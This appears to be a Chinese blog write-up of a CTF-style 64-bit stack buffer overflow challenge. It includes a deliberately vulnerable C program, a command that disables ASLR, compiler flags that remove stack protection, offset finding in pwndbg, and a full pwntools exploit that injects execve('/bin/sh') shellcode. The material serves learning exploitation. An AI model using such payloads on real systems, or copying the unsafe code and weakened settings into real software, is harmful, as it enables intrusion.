手写shellcode连接靶机,缓冲区溢出漏洞

题目:

首先我们看看赛题环境

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// 禁用缓冲区
void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

// 存在缓冲区溢出漏洞的函数
void vuln() {
    char buf[64];  // 栈上缓冲区
    printf("Input your data: ");
    read(0, buf, 256);  // 明显的缓冲区溢出 - 读取256字节到64字节缓冲区
    printf("You entered: %s\n", buf);
}

int main() {
    init();
    printf("Welcome to the 64-bit buffer overflow challenge!\n");
    printf("This program has a classic buffer overflow vulnerability.\n");
    printf("Find a way to exploit it and get a shell!\n\n");

    vuln();

    printf("Returned to main function. Exiting normally.\n");
    return 0;
}

实战操作:

我们首先是看代码:
首先是 vuln 函数,有一个 buf[64],还有一个危险函数 read,可以发现 read 可以读取 256 到 64 字节。所以我们可以使用缓冲区溢出漏洞来进行渗透。
首先先编一下这个 vuln.c,然后为了我们后面的缓冲区溢出可以正常操作,我们还需要先关闭ASLR

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -o shell_code shell_code.c -no-pie -fno-stack-protector -z execstack -Wno-stringop-overflow

我们可以看看这个代码的运行效果:
20251122164021342
我们可以先用很大的一个数据把它的data填满,然后再返回地址中填写我们的shellcode

方法一

现在进行pwndbg的调试吧,直接使用start
20251122164702411

然后我们在pwndbg里生成模式串
我们这里直接使用pwndbg自带的cyclic来生成一堆冗杂数据来填满我们的data使其程序崩溃
20251122172606201

从调试中可以看到这些信息:
我们发现这里的RSP没有正常的显示他的地址,不着急,可以先算算buf到RBP的距离,然后再加上旧的RBP一样可以算出来我们的偏移量

pwndbg> cyclic -l 0x6161616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)
Found at offset 64

算出来了RBP的之后,我们就可以知道RSP的了。

[buf(64字节)][旧的RBP(8字节)][返回地址(8字节)]

正确的偏移量:

  • 到RBP的偏移:64字节
  • 到RIP的偏移:72字节

方法二

我们也可以使用这种方法:
20251124084751420

我们也是可以计算出偏移量的。

exp

算完之后,我们现在就可以来构造一个exp来进行攻击了

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

def exploit():
    # 禁用 ASLR 运行程序
    p = process(['setarch', 'x86_64', '-R', './shellcode'])
    
    # 等待输入提示
    p.recvuntil(b'Input your data: ')
    
    # 使用更小的 shellcode (execve("/bin/sh", NULL, NULL))
    shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
    
    # 偏移量
    offset = 72
    
    # 使用一个常见的栈地址 (在禁用 ASLR 时应该有效)
    return_addr = 0x7fffffffe100
    
    # 构造 payload
    payload = b'A' * offset                    # 填充到返回地址
    payload += p64(return_addr)               # 覆盖返回地址
    payload += b'\x90' * 50                   # NOP sled
    payload += shellcode                      # shellcode
    
    log.info(f"Sending payload of {len(payload)} bytes")
    log.info(f"Offset: {offset}")
    log.info(f"Shellcode length: {len(shellcode)} bytes")
    log.info(f"Return address: {hex(return_addr)}")
    
    # 发送 payload
    p.send(payload)
    
    # 尝试获取 shell
    try:
        p.interactive()
    except:
        log.error("Exploit failed")

if __name__ == '__main__':
    exploit()

然后试试效果:
20251122175146196

posted @ 2025-11-24 08:59  Anime_Bucket  阅读(18)  评论(0)    收藏  举报